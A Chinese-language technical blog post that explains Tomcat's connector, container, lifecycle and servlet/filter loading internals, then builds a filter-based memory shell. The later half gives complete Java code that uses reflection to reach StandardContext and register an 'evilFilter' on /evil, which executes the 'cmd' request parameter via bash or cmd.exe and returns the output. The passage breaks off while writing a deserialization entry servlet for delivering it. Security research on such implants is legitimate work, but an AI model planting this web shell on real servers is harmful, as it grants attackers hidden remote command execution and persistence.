Tomcat 架构原理 & Tomcat内存马
Tomcat 设计了两个核心组件连接器(Connector)和容器(Container)。连接器负责对外交流,容器负责内部 处理

连接器结构
连接器又分为两部分 ProtocolHandler和Adapter
其中ProtocolHandler负责与socket交互并将数据转换为其转换为Tomcat Request或Tomcat Respone
由于这并不是标准的Servlet请求或响应, tomcat在设计时使用Adapter来将 Tomcat Request或Tomcat Respone 转换为标准的Servlet Request或Servlet Respone
ProtocolHandler
ProtocolHandler又包含了EndedPoint和Processor这两部分
EndPoint是通信端点,即通信监听的接口,是具体的==Socket ==接收和发送处理器,是对传输层的抽象,因此 EndPoint是用来实现 TCP/IP 协议数据读写的,本质调用操作系统的 socket 接口。

EndPoint
EndPoint是通信端点,即通信监听的接口,是具体的 Socket 接收和发送处理器,是对传输层的抽象,因此 EndPoint是用来实现 TCP/IP 协议数据读写的,本质调用操作系统的 socket 接口。
其工作流程如下图

Proccessor
Processor 用来实现 HTTP 协议,Processor 接收来自 EndPoint的 Socket,读取字节流解析成 Tomcat Request和 Response对象,并通过 Adapter将其提交到容器处理,Processor是对应用层协议的抽象。

Adapter
由于协议的不同,Tomcat 定义了自己的 Request 类来存放请求信息,这里其实体现了面向对象的思维。但是这个 Request 不是标准的 ServletRequest ,所以不能直接使用 Tomcat 定义 Request 作为参数直接容器。
Tomcat 设计者的解决方案是引入 CoyoteAdapter,这是适配器模式的经典运用,Acceptor监听连接生成 SocketProcessor 调用 CoyoteAdapter 的 Sevice 方法,传入的是 Tomcat Request 对象,CoyoteAdapter负责将 Tomcat Request 转成 ServletRequest,再调用容器的 Service方法
Servlet容器结构
具体结构如下

一个 Service 只能有 一个 Engine, 一个 Engine可以管理多个站点(Host), 一个站点有多个Context(url路径), 一个context下可以有多个servlet, Wrapper 表示一个 Servlet
为了方便, tomcat使用[[组合模式]]来管理只有一个具有父子关系地树形结构, 具体是: 所有容器组件都实现了 Container接口,因此组合模式可以使得用户对单容器对象和组合容器对象的使用具有一致性。这里单容器对象指的是最底层的 Wrapper,组合容器对象指的是上面的 Context、Host或者 Engine。Container 接口定义如下:

Lifecycle 生命周期
Container接口还继承了Lifecycle,Tomcat 就是通过 Lifecycle 统一管理所有容器的组件的生命周期。通过组合模式管理所有容器,拓展 Lifecycle 实现对每个组件的生命周期管理 ,Lifecycle 主要包含的方法init()、start()、stop() 和 destroy()。这样当一个Context, 其下面的wrapper也会被关闭
此外 因为各个组件init() 和 start() 方法的具体实现是复杂多变的,比如在 Host 容器的启动方法里需要扫描 webapps 目录下的 Web 应用,创建相应的 Context 容器, 如果下次有需要加入新的逻辑, 直接修改init() 和 start() 方法的话就会违背开闭原则, 因此tomcat采用[[观察者模式]]来解决这一问题
以下就是 Lyfecycle 接口的定义:

此外 Tomcat 定义一个基类 LifeCycleBase 来实现 LifeCycle 接口,把一些公共的逻辑放到基类中去,比如生命状态的转变与维护、生命事件的触发以及监听器的添加和删除等,而子类就负责实现自己的初始化、启动和停止等方法。
典型的抽象模板设计模式

总体设计图

Tomcat启动流程

- Tomcat 本生就是一个 Java 程序,所以 startup.sh 脚本就是启动一个 JVM 来运行 Tomcat 的启动类 Bootstrap。
- Bootstrap 主要就是实例化 Catalina 和初始化 Tomcat 自定义的类加载器。热加载与热部署就是靠他实现。
- Catalina: 解析 server.xml 创建 Server 组件,并且调用 Server.start() 方法。
- Server:管理 Service 组件,调用 Service 的 start() 方法。
- Service:主要职责就是管理顶层容器 Engine,分别调用
Connector和Engine的start方法。
init流程

start流程

源码调试
pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>servletMemoryShell</artifactId>
<version>1.0-SNAPSHOT</version>
<properties> <maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies> <dependency> <groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>9.0.83</version>
<scope>compile</scope>
</dependency> <dependency> <groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-jasper</artifactId>
<version>9.0.83</version>
<scope>compile</scope>
</dependency> </dependencies>
</project>
Main.java
package org.memshell;
import org.apache.catalina.Context;
import org.apache.catalina.LifecycleException;
import org.apache.catalina.startup.Tomcat;
import java.io.File;
public class Main {
public static void main(String[] args) throws LifecycleException {
Tomcat tomcat = new Tomcat();
tomcat.getConnector(); //tomcat 9.0以上需要加这行代码,参考:https://blog.csdn.net/qq_42944840/article/details/116349603
Context context = tomcat.addWebapp("", new File(".").getAbsolutePath());
Tomcat.addServlet(context, "helloServlet", new HelloServlet());
context.addServletMappingDecoded("/hello", "helloServlet");
tomcat.start();
tomcat.getServer().await();
}
}
HelloServlet.java
package org.memshell;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
@WebServlet("/hello")
public class HelloServlet extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.setContentType("text/html");
PrintWriter out = resp.getWriter();
out.println("<html><body>");
out.println("Hello, World!");
out.println("</body></html>");
}
}
为了便于调试, 这里使用的是嵌入式的tomcat, 启动方式有所不同
嵌入式的启动是使用org.apache.catalina.startup.Tomcat类的一个简易启动, 而传统的启动则使用Catalina配合Bootstrap来完成启动的
-
嵌入式 Tomcat 启动: 使用
Tomcat类的一个简易启动方式。Tomcat类作为高层 API,封装了底层 Catalina 组件的创建和配置细节,让开发者可以通过编程方式快速启动一个 Tomcat 实例。它在内部会隐式地创建和组装Server、Service、Engine、Host等核心组件。
-
传统 Tomcat 启动: 使用
Catalina配合Bootstrap。-
Bootstrap是引导程序,负责环境准备、类加载器设置,并调用Catalina的核心方法。 -
Catalina是核心容器的管理者,它根据server.xml等配置文件来解析、创建和协调Server、Service、Engine、Host等所有核心容器组件的生命周期。
-
先来看
Tomcat tomcat = new Tomcat();
tomcat.getConnector();
创建tomcat建议启动器实例, 获取Connector, 跟进去

这里getService跟进去是这样
public Service getService() {
return getServer().findServices()[0];
}
getServer跟进去是这样
public Server getServer() {
if (server != null) {
return server;
}
System.setProperty("catalina.useNaming", "false");
server = new StandardServer();
initBaseDir();
// Set configuration source
ConfigFileLoader.setSource(new CatalinaBaseConfigurationSource(new File(basedir), null));
server.setPort( -1 );
Service service = new StandardService();
service.setName("Tomcat");
server.addService(service);
return server;
}
所以最终是getServer方法创建了一个StandardServer, 并实例化一个StandardService添加到创建的StandardServer中
之后创建一个连接器, 添加给service,

也就是说是tomcat.getConnector();这句创建了Server和service以及service中的连接器
继续看下一句
Context context = tomcat.addWebapp("", new File(".").getAbsolutePath());
断点进到addWebapp中去

可以跟进getHost方法, 这里和之前的逻辑一样, 有则返回, 无则创建
public Host getHost() {
Engine engine = getEngine();
if (engine.findChildren().length > 0) {
return (Host) engine.findChildren()[0];
}
Host host = new StandardHost();
host.setName(hostname);
getEngine().addChild(host);
return host;
}
很明显这里是创建了engine并为其创建了一个host, 这个host默认绑定在localhost, 并将该host作为engine的child, 这也就是组合模式的运用
跟进addWebapp

创建了一个LifecycleListener, 是一个空的ContextConfig

再跟进addWebapp

为host创建了一个context, 并配置了该context的默认监听器 (观察者)
在此时候context也就创建好了
之后看
Tomcat.addServlet(context, "helloServlet", new HelloServlet());
context.addServletMappingDecoded("/hello", "helloServlet");
首先是addServlet为现有的context创建了一个wrapper

addServletMappingDecoded 添加了映射

到这里该创建的都创建了
之后就会进入到init和start的流程, 和上面的泳道图中的流程基本一致
有一点不同在于下图中的过程

在调试时发现这里应该是先执行DefaultWebXmlListener监听器

这个监听器是org.apache.catalina.startup.Tomcat里定义的

看注释可以知道这个监听器是用来代替传统启动方式的$CATALINA_HOME/conf/web.xml配置启动的, 这样就相当于它代替了org.apache.catalina.startup.ContextConfig这个监听器的任务, 再来看ContextConfig监听器, 它的defaultWebXml被赋值为了org/apache/catalina/startup/NO_DEFAULT_XML(即不采用默认xml配置文件) 也证实了这一点

跟进DefaultWebXmlListener监听器

addServlet创建servlet对应的wrapper后, 将其添加到context


最后会启动这个wrapper

再看ContextConfig监听器
可以在此处打条件断点进去
listener.getClass().getName().equals("org.apache.catalina.startup.ContextConfig")


如果是传统的配置文件启动, 会进入configureStart();, 这里并不是就不会进去.
servlet
servlet初始化流程分析
断点打在org.apache.catalina.core.StandardWrapper#setServletClass

根据上面的调试StandardWrapper#setServletClass的上层调用有两种情况
一种是DefaultWebXmlListener , 一种是ContextConfig
先来看DefaultWebXmlListener
它会触发到

这里可以看见关键的三步
-
创建servlet(
addServlet) -
设置
Servlet的LoadOnStartUp的值 -
将
url和servlet类做映射
再看创建Servlet的逻辑

创建Servlet又分为 -
创建
Wapper对象 -
设置
Wapper中Servlet的class -
设置
Wapper中Servlet的名称 -
将配置好的
Wrapper添加到Context中
因此初始化Servlet分为 -
创建
Wapper对象 -
设置
Wapper中Servlet的class -
设置
Wapper中Servlet的名称 -
将配置好的
Wrapper添加到Context中 -
设置
Servlet的LoadOnStartUp的值 -
将
url和servlet类做映射
再来看ContextConfig
在configureContext方法中同样会调用到wrapper.setServletClass(servlet.getServletClass());
for (ServletDef servlet : webxml.getServlets().values()) {
Wrapper wrapper = context.createWrapper();
// Description is ignored
// Display name is ignored // Icons are ignored
// jsp-file gets passed to the JSP Servlet as an init-param
if (servlet.getLoadOnStartup() != null) {
wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
}
if (servlet.getEnabled() != null) {
wrapper.setEnabled(servlet.getEnabled().booleanValue());
}
wrapper.setName(servlet.getServletName());
Map<String,String> params = servlet.getParameterMap();
for (Entry<String, String> entry : params.entrySet()) {
wrapper.addInitParameter(entry.getKey(), entry.getValue());
}
wrapper.setRunAs(servlet.getRunAs());
Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
for (SecurityRoleRef roleRef : roleRefs) {
wrapper.addSecurityReference(
roleRef.getName(), roleRef.getLink());
}
wrapper.setServletClass(servlet.getServletClass());
MultipartDef multipartdef = servlet.getMultipartDef();
if (multipartdef != null) {
long maxFileSize = -1;
long maxRequestSize = -1;
int fileSizeThreshold = 0;
if(null != multipartdef.getMaxFileSize()) {
maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
}
if(null != multipartdef.getMaxRequestSize()) {
maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
}
if(null != multipartdef.getFileSizeThreshold()) {
fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
}
wrapper.setMultipartConfigElement(new MultipartConfigElement(
multipartdef.getLocation(),
maxFileSize,
maxRequestSize,
fileSizeThreshold));
}
if (servlet.getAsyncSupported() != null) {
wrapper.setAsyncSupported(
servlet.getAsyncSupported().booleanValue());
}
wrapper.setOverridable(servlet.isOverridable());
context.addChild(wrapper);
}
for (Entry<String, String> entry :
webxml.getServletMappings().entrySet()) {
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}
也是完成了上面6个步骤
...
Wrapper wrapper = context.createWrapper();
...
wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
...
wrapper.setName(servlet.getServletName());
...
wrapper.setServletClass(servlet.getServletClass());
...
context.addChild(wrapper);
...
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
...
servlet装载流程分析
断点在org.apache.catalina.core.StandardWrapper#loadServlet

寻找其上层调用

这里注释写的是
// Load and initialize all "load on startup" servlets
说明是启动所有标记为LoadOnStartUpd的servlet
并且在此之前执行了
listenerStart() 和 filterStart() 启动listener和filter

再看loadOnStartup方法
public boolean loadOnStartup(Container children[]) {
// Collect "load on startup" servlets that need to be initialized
TreeMap<Integer,ArrayList<Wrapper>> map = new TreeMap<>();
for (Container child : children) {
Wrapper wrapper = (Wrapper) child;
int loadOnStartup = wrapper.getLoadOnStartup();
if (loadOnStartup < 0) {
continue;
}
Integer key = Integer.valueOf(loadOnStartup);
map.computeIfAbsent(key, k -> new ArrayList<>()).add(wrapper);
}
// Load the collected "load on startup" servlets
for (ArrayList<Wrapper> list : map.values()) {
for (Wrapper wrapper : list) {
try {
wrapper.load();
} catch (ServletException e) {
getLogger().error(
sm.getString("standardContext.loadOnStartup.loadException", getName(), wrapper.getName()),
StandardWrapper.getRootCause(e));
// NOTE: load errors (including a servlet that throws
// UnavailableException from the init() method) are NOT
// fatal to application startup
// unless failCtxIfServletStartFails="true" is specified
if (getComputedFailCtxIfServletStartFails()) {
return false;
}
}
}
}
return true;
}
loadOnStartup < 0 就不加载(只有访问到时才加载)
将loadOnStartup >= 0 的创建一个treeMap, treeMap的键为loadOnStartup的值, reeMap的值 为ArrayList, 里面存储需要加载的Wrapper(Servlet)
之后遍历整个treeMap加载
Filter

tomcat源码调试
这里使用传统方式启动tomcat而不是嵌入式,
要调试这个非嵌入式的tomcat, 网上很多教程都很繁琐且不太靠谱,
可以直接添加嵌入式tomcat的源码来调试, 版本保持一致即可
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>4.0.1</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>9.0.107</version>
<scope>compile</scope>
</dependency>
</dependencies>
TestFilter.java
package org.MemShell;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
@WebFilter("/test")
public class TestFilter implements Filter {
public void init(FilterConfig filterConfig) {
System.out.println("[*] Filter init");
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("[*] Filter doFilter ");
filterChain.doFilter(servletRequest, servletResponse);
}
public void destroy() {
System.out.println("[*] Filter destroy");
}
}
TestServlet.java
package org.MemShell;
import java.io.IOException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet("/test")
public class TestServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
resp.getWriter().write("hello world");
}
}
tomcat会自动扫描到并加载我们编写的filter
断点打在编写的doFilter方法

请求如何到达Filter
具体调试过程就不记录了
总之调试加阅读tomcat架构原理可以理出以下逻辑

Wrapper的最后一个Valve也就是StandardWrapperValve会创建一个Filter链并进行调用
Filter容器与FilterDefs、FilterConfigs、FilterMaps、FilterChain
=FilterDef是过滤器的抽象定义,存放这些FilterDef的数组被称为FilterDefs,每个FilterDef定义了一个具体的过滤器,包括描述信息、名称、过滤器实例以及class等,这一点可以从org/apache/tomcat/util/descriptor/web/FilterDef.java的代码中看出来;
FilterConfigs, FilterDefs只是过滤器的抽象定义,而FilterConfigs则是这些过滤器的具体配置实例,我们可以为每个过滤器定义具体的配置参数,以满足系统的需求;
FilterMaps,它是用于将FilterConfigs映射到具体的请求路径或其他标识上,这样系统在处理请求时就能够根据请求的路径或标识找到对应的FilterConfigs,从而确定要执行的过滤器链;
FilterChain是由多个FilterConfigs组成的链式结构,它定义了过滤器的执行顺序,在处理请求时系统会按照FilterChain中的顺序依次执行每个过滤器,对请求进行过滤和处理。
FilterChain创建
FilterChain创建由StandardWrapperValve创建

跟进去

可以看见首先是context.findFilterMaps()找到context中已经存在的FilterMaps, 再遍历FilterMaps, 由FilterMap在已存在的filterConfigs中找到具体的filterConfig


由于Filter是动态创建的, 要打入内存马的话, 理论上反射修改这两个map就可以了
对于FilterMap, StandardContext提供了两个方法来直接添加

看上层接口注释, 其中addFilterMapBefore可以将FilterMap放在第一位
需要注意的是, 这两个方法都要经过validateFilterMap的验证, 主要是验证是否存在对应的FilterDef, 所以还要反射修改对应的filterDefs
内存马构造
获取 StandardContext对象
想要修改StandardContext中的FilterMap, FilterDefs, FilterConfigs, 就必须先拿到当前的StandardContext, 假如有这样一个反序列化入口, 我们想拿到StandardContext, 大部分文章都是从request入手

request对象上层接口可以获取当前session

而session的上层接口定义了它可以获取ServletContext

当然这只是一层接口, 实际上拿到的类有没有实现这几个接口, 返回的对象具体是什么类型, 还得去调试看看
可以看见
我们真正拿到的类是一个RequestFacade 这是[[Facade模式]]运用,
其目的是屏蔽tomcat核心接口(例如直接动态得插入filter等), 只暴露允许用户操作的接口
直接转到类中

RequestFacade是HttpServletRequest的实现类, HttpServletRequest是ServletRequest的实现类
RequestFacade实现了getServletContext()方法, 返回了一个ServletContext,

具体返回的是什么类, 也得调试看一下
写个demo看一下,

拿到的其实是org.apache.catalina.core.ApplicationContextFacade, 依旧是[[Facade模式]]的Facade
找到这个类, 看一下结构有一个ApplicationContext类型的属性

再深入ApplicationContext里存着StandardContext

梳理一下

这样确实能拿到StandardContext, 但是实际打内存马的时候是类加载, 从哪去找这个RequestFacade对象?
通过lastServicedRequest
为了在 filter/servlet 执行期间,允许某些外部工具(如 JMX 或调试器)访问当前请求对象。Tomcat 把
lastServicedRequest/Response放在ApplicationFilterChain类中
---来自ai解释
当ApplicationDispatcher.WRAP_SAME_OBJECT为true时, 这里是会放进去

这是两个静态属性

也就是说可以直接访问到, 因此直接反射修改即可, 但是需要注意的是, 修改WRAP_SAME_OBJECT为true后, 下一次请求才会把request和respone保存进去, 所以想打进去内存马就得发两次请求,
第一次请求设置WRAP_SAME_OBJECT为true并为lastServicedRequest lastServicedResponse这两个静态变量赋值,
第二次请求触发lastServicedRequest.set(request);并拿到request
并且如果WRAP_SAME_OBJECT为true一直为true的话, lastServicedRequest是会被置空的

package org.n4c1.Servlets;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import javax.servlet.ServletRequest;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet("/test")
public class TestServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
System.out.println("request: " + req.getClass().getName());
System.out.println("request.getServletContext(): " + req.getServletContext().getClass().getName());
System.out.println("got request: " + getRequestFacadeFromThreadLocal().getClass().getName());
resp.getWriter().write("hello world");
}
public static ServletRequest getRequestFacadeFromThreadLocal() {
try {
// 设置WRAP_SAME_OBJECT为true
Class clazz1 = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
Field boolfield = clazz1.getDeclaredField("WRAP_SAME_OBJECT");
boolfield.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(boolfield, boolfield.getModifiers() & ~Modifier.FINAL);
boolfield.set(null, true);
Boolean newValue = (Boolean) boolfield.get(null);
System.out.println("WRAP_SAME_OBJECT: ");
System.out.println(newValue);
Class clazz = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
Field lastServicedRequest = clazz.getDeclaredField("lastServicedRequest");
lastServicedRequest.setAccessible(true);
modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
Field lastServicedResponse = clazz.getDeclaredField("lastServicedResponse");
lastServicedResponse.setAccessible(true);
modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);
// 设置lastServicedRequest和lastServicedResponse为ThreadLocal
if(lastServicedRequest.get(null) == null || lastServicedResponse.get(null) == null){
ThreadLocal<ServletRequest> lastServicedRequestValue = new ThreadLocal<>();
ThreadLocal<ServletRequest> lastServicedResponseValue = new ThreadLocal<>();
lastServicedRequest.set(null, lastServicedRequestValue);
lastServicedResponse.set(null, lastServicedResponseValue);
return lastServicedRequestValue.get();
} else {
// 获取ThreadLocal中的ServletRequest
ThreadLocal<ServletRequest> tl = (ThreadLocal<ServletRequest>) lastServicedRequest.get(null);
return tl.get();
}
} catch (Exception e) {
return null;
}
}
}
第二次请求后顺利拿到RequestFacade

进一步拿到StandardContext
package org.n4c1.Servlets;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationContextFacade;
import org.apache.catalina.core.StandardContext;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import javax.servlet.ServletRequest;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet("/test")
public class TestServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
System.out.println("request: " + req.getClass().getName());
System.out.println("request.getServletContext(): " + req.getServletContext().getClass().getName());
System.out.println("got request: " + getRequestFacadeFromThreadLocal().getClass().getName());
// 获取standardContext
RequestFacade requestFacade = (RequestFacade) getRequestFacadeFromThreadLocal();
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) requestFacade.getServletContext();
Class acf = applicationContextFacade.getClass();
try {
Field appctxfield = acf.getDeclaredField("context");
appctxfield.setAccessible(true);
ApplicationContext appctx = (ApplicationContext) appctxfield.get(applicationContextFacade);
Field stdctxfield = appctx.getClass().getDeclaredField("context");
stdctxfield.setAccessible(true);
StandardContext stdctx = (StandardContext) stdctxfield.get(appctx);
System.out.println("standardContext: " + stdctx.getClass().getName());
} catch (Exception e) {
e.printStackTrace();
}
resp.getWriter().write("hello world");
}
public static ServletRequest getRequestFacadeFromThreadLocal() {
try {
// 设置WRAP_SAME_OBJECT为true
Class clazz1 = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
Field boolfield = clazz1.getDeclaredField("WRAP_SAME_OBJECT");
boolfield.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(boolfield, boolfield.getModifiers() & ~Modifier.FINAL);
boolfield.set(null, true);
Boolean newValue = (Boolean) boolfield.get(null);
System.out.println("WRAP_SAME_OBJECT: ");
System.out.println(newValue);
Class clazz = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
Field lastServicedRequest = clazz.getDeclaredField("lastServicedRequest");
lastServicedRequest.setAccessible(true);
modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
Field lastServicedResponse = clazz.getDeclaredField("lastServicedResponse");
lastServicedResponse.setAccessible(true);
modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);
// 设置lastServicedRequest和lastServicedResponse为ThreadLocal
if(lastServicedRequest.get(null) == null || lastServicedResponse.get(null) == null){
ThreadLocal<ServletRequest> lastServicedRequestValue = new ThreadLocal<>();
ThreadLocal<ServletRequest> lastServicedResponseValue = new ThreadLocal<>();
lastServicedRequest.set(null, lastServicedRequestValue);
lastServicedResponse.set(null, lastServicedResponseValue);
return lastServicedRequestValue.get();
} else {
// 获取ThreadLocal中的ServletRequest
ThreadLocal<ServletRequest> tl = (ThreadLocal<ServletRequest>) lastServicedRequest.get(null);
return tl.get();
}
} catch (Exception e) {
return null;
}
}
}

可以看见这里获取的就是我们的StandardContext
通过Thread
pass
接下来就是去修改 FilterDef, FilterConfigs, FilterMaps
这块主要还是靠自己边看边这几个类的结构边写代码, 我的代码如下
package org.n4c1.Servlets;
import org.apache.catalina.Context;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationContextFacade;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.HashMap;
import java.util.Map;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet("/test")
public class TestServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
System.out.println("request: " + req.getClass().getName());
System.out.println("request.getServletContext(): " + req.getServletContext().getClass().getName());
System.out.println("got request: " + getRequestFacadeFromThreadLocal().getClass().getName());
// 获取standardContext
RequestFacade requestFacade = (RequestFacade) getRequestFacadeFromThreadLocal();
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) requestFacade.getServletContext();
Class acf = applicationContextFacade.getClass();
try {
Field appctxfield = acf.getDeclaredField("context");
appctxfield.setAccessible(true);
ApplicationContext appctx = (ApplicationContext) appctxfield.get(applicationContextFacade);
Field stdctxfield = appctx.getClass().getDeclaredField("context");
stdctxfield.setAccessible(true);
StandardContext stdctx = (StandardContext) stdctxfield.get(appctx);
System.out.println("standardContext: " + stdctx.getClass().getName());
// 实例化evilFilter
Filter filter = new evilFilter();
// 添加FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filter.getClass().getName());
filterDef.setFilterClass(filter.getClass().getName());
stdctx.addFilterDef(filterDef);
// 添加FilterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filter.getClass().getName());
filterMap.addURLPattern("/evil");
filterMap.addServletName("");
stdctx.addFilterMap(filterMap);
// 实例化ApplicationFilterConfig
Class filterConfigClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor constructor = filterConfigClass.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(stdctx, filterDef);
// 添加FilterConfig
Field filterConfigsField = stdctx.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map<String,ApplicationFilterConfig> filterConfigs = (HashMap) filterConfigsField.get(stdctx);
filterConfigs.put(filter.getClass().getName(), filterConfig);
} catch (Exception e) {
e.printStackTrace();
}
resp.getWriter().write("hello world");
}
public class evilFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
Filter.super.init(filterConfig);
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String commmand = request.getParameter("cmd");
try {
String output = executeCmd(commmand);
response.getWriter().println(output);
System.out.println(output);
} catch (Exception e) {
e.printStackTrace();
}
// chain.doFilter(request, response);
}
@Override
public void destroy() {
Filter.super.destroy();
}
}
public static ServletRequest getRequestFacadeFromThreadLocal() {
try {
// 设置WRAP_SAME_OBJECT为true
Class clazz1 = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
Field boolfield = clazz1.getDeclaredField("WRAP_SAME_OBJECT");
boolfield.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(boolfield, boolfield.getModifiers() & ~Modifier.FINAL);
boolfield.set(null, true);
Boolean newValue = (Boolean) boolfield.get(null);
System.out.println("WRAP_SAME_OBJECT: ");
System.out.println(newValue);
Class clazz = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
Field lastServicedRequest = clazz.getDeclaredField("lastServicedRequest");
lastServicedRequest.setAccessible(true);
modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
Field lastServicedResponse = clazz.getDeclaredField("lastServicedResponse");
lastServicedResponse.setAccessible(true);
modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);
// 设置lastServicedRequest和lastServicedResponse为ThreadLocal
if(lastServicedRequest.get(null) == null || lastServicedResponse.get(null) == null){
ThreadLocal<ServletRequest> lastServicedRequestValue = new ThreadLocal<>();
ThreadLocal<ServletRequest> lastServicedResponseValue = new ThreadLocal<>();
lastServicedRequest.set(null, lastServicedRequestValue);
lastServicedResponse.set(null, lastServicedResponseValue);
return lastServicedRequestValue.get();
} else {
// 获取ThreadLocal中的ServletRequest
ThreadLocal<ServletRequest> tl = (ThreadLocal<ServletRequest>) lastServicedRequest.get(null);
return tl.get();
}
} catch (Exception e) {
return null;
}
}
public static String executeCmd(String multiLineCommand) {
StringBuilder output = new StringBuilder();
try {
String os = System.getProperty("os.name").toLowerCase();
String shell = os.contains("win") ? "cmd.exe" : "/bin/bash";
String shellOption = os.contains("win") ? "/c" : "-c";
ProcessBuilder builder = new ProcessBuilder(shell, shellOption, multiLineCommand);
builder.redirectErrorStream(true);
Process process = builder.start();
try (BufferedReader reader = new BufferedReader(
new InputStreamReader(process.getInputStream()))) {
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
}
int exitCode = process.waitFor();
output.append("Process exited with code: ").append(exitCode).append("\n");
} catch (IOException | InterruptedException e) {
output.append("Error: ").append(e.getMessage()).append("\n");
}
return output.toString();
}
}
成功打入内存马

这里是直接写了个Servlet来写入内存马的, 我们也可以结合反序列化
先写一个反序列化入口
package org.n4c1.Servlets;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;
@WebServlet("/unser")
public class UnserialServlet extends HttpServlet {
@Override
public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
String paylod = request.getParameter("payload");
System.out.println(paylod);
byte[] decode = Base64.getDecoder().decode(paylod);
